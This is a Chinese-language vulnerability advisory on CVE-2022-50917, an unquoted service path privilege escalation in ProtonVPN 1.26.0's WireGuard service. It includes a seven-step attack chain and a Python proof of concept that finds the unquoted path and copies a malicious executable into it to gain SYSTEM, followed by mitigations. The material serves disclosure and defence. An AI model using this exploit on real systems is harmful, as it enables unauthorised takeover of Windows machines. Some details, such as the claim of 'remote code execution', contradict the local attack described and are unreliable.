IPBUF安全漏洞报告
English
CVE-2022-50917 CVSS 7.8 高危

CVE-2022-50917 ProtonVPN 未引号服务路径权限提升漏洞

披露日期: 2026-01-13

漏洞信息

漏洞编号
CVE-2022-50917
漏洞类型
未引号服务路径
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
ProtonVPN

相关标签

未引号服务路径权限提升本地攻击Windows服务ProtonVPNWireGuardCVE-2022-50917

漏洞概述

CVE-2022-50917是ProtonVPN 1.26.0版本中存在的一个高危安全漏洞,漏洞类型为未引号服务路径(Unquoted Service Path)。该漏洞位于ProtonVPN的WireGuard服务配置中,由于Windows操作系统在解析服务路径时未正确使用引号包裹包含空格的路径,攻击者可以利用这一特性在服务启动时以提升的权限执行任意代码。具体来说,当Windows服务尝试启动可执行文件时,如果路径中包含空格且未使用引号,操作系统会从左到右尝试解析路径,在遇到空格时可能会将空格前后的内容识别为不同的命令或参数。攻击者可以在这些可能被误解析的位置放置恶意可执行文件,当服务重启或系统启动时,恶意文件将被以SYSTEM级别的高权限执行,从而实现权限提升和远程代码执行。本地低权限攻击者只需具有写入文件系统的能力即可利用此漏洞,无需任何用户交互。

技术细节

该漏洞的根本原因在于ProtonVPN的WireGuard服务在Windows系统中的服务路径配置存在问题。当服务路径包含空格且未使用引号时,Windows服务控制管理器(SCM)在启动服务时会按照路径解析规则进行查找。例如,如果服务路径为C:\Program Files\ProtonVPN\WireGuard\wg.exe,Windows会首先尝试执行C:\Program.exe,如果不存在则尝试执行C:\Program Files\wg.exe,依此类推。攻击者可以利用这一解析机制,在C:\Program.exe位置放置恶意可执行文件,由于服务以SYSTEM权限运行,恶意代码也将以最高权限执行。漏洞利用的关键在于WireGuard服务的启动权限配置以及路径中空格的处理方式。攻击者需要具备本地文件系统写入权限,可以将恶意可执行文件放置在服务启动时可能解析的中间路径位置。当服务重启或系统启动时,恶意代码将自动执行,实现权限提升和持久化控制。

攻击链分析

STEP 1
信息收集
攻击者首先进行本地信息收集,使用sc query命令查询ProtonVPN WireGuard服务的配置信息,获取服务的二进制路径
STEP 2
漏洞确认
分析服务路径是否包含空格且未被引号包裹。如果路径类似C:\Program Files\ProtonVPN\wg.exe且未使用引号,则存在漏洞
STEP 3
恶意文件准备
攻击者准备恶意可执行文件,可以是后门程序、远程控制工具或任何其他恶意代码,用于获取系统级权限
STEP 4
路径注入
将恶意可执行文件复制到服务路径中的中间位置,例如C:\Program.exe或C:\Program Files\wg.exe等Windows可能首先尝试执行的位置
STEP 5
触发执行
等待服务重启或系统重启。当WireGuard服务启动时,Windows SCM会按照路径解析规则首先尝试执行攻击者放置的恶意文件
STEP 6
权限提升
恶意代码以SYSTEM级别的高权限执行,攻击者成功实现权限提升,获得对系统的完全控制权
STEP 7
持久化控制
攻击者可以在系统中建立持久化控制,例如创建新账户、安装后门或进一步横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2022-50917 PoC - ProtonVPN Unquoted Service Path # This PoC demonstrates the unquoted service path vulnerability in ProtonVPN WireGuard service # Attackers can place a malicious executable at an intermediate path location import os import sys import subprocess import shutil def check_vulnerability(): """Check if ProtonVPN WireGuard service is installed and vulnerable""" try: # Query the WireGuard service configuration result = subprocess.run( ['sc', 'qc', 'ProtonVPN WireGuard'], capture_output=True, text=True ) if 'BINARY_PATH_NAME' in result.stdout: # Extract the binary path for line in result.stdout.split('\n'): if 'BINARY_PATH_NAME' in line: path = line.split(':', 1)[1].strip() print(f"Service path: {path}") # Check if path contains spaces and is not quoted if ' ' in path and not (path.startswith('"') and path.endswith('"')): print("[+] VULNERABLE: Unquoted path with spaces detected!") return True, path else: print("[-] NOT VULNERABLE or path is properly quoted") return False, path else: print("[-] WireGuard service not found") return False, None except Exception as e: print(f"[-] Error checking service: {e}") return False, None def exploit_unquoted_path(service_path, malicious_exe_path): """ Exploit the unquoted service path by placing malicious executable at an intermediate path location that Windows will try to execute """ # Parse path components path_parts = service_path.strip('"').split('\\') # For each intermediate directory, create potential injection points for i in range(1, len(path_parts)): potential_path = '\\'.join(path_parts[:i]) + '.exe' print(f"[*] Checking: {potential_path}") if not os.path.exists(potential_path): print(f"[+] Can inject at: {potential_path}") print(f"[+] Copy malicious executable to this location") try: # Copy malicious executable to the vulnerable location shutil.copy2(malicious_exe_path, potential_path) print(f"[+] Malicious executable placed at {potential_path}") print("[+] When the service restarts, the malicious code will execute with SYSTEM privileges") return True except Exception as e: print(f"[-] Failed to copy: {e}") return False def main(): print("=" * 60) print("CVE-2022-50917 ProtonVPN Unquoted Service Path Exploit") print("=" * 60) # Check if vulnerable is_vulnerable, service_path = check_vulnerability() if is_vulnerable and service_path: print("\n[*] Vulnerability confirmed!") print("[*] To exploit, place a malicious executable at an intermediate path") print("[*] Example: Copy your payload to C:\\Program.exe") print("[!] This requires administrator privileges to write to system directories") print("[!] Upon service restart, the malicious code will execute with SYSTEM privileges") if __name__ == "__main__": main()

影响范围

ProtonVPN 1.26.0

防御指南

临时缓解措施
在官方补丁发布前,可通过以下措施临时缓解:1)将WireGuard服务的BINARY_PATH_NAME修改为带引号的完整路径,例如"C:\Program Files\ProtonVPN\WireGuard\wg.exe";2)限制C:\根目录和Program Files目录的写入权限,防止低权限用户在这些位置创建可执行文件;3)使用Windows AppLocker或Windows Defender Application Control配置应用程序控制策略,阻止未授权程序执行;4)启用安全审计日志监控可疑的文件创建和服务配置变更行为;5)考虑暂时禁用WireGuard服务,待官方发布修复版本后再启用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表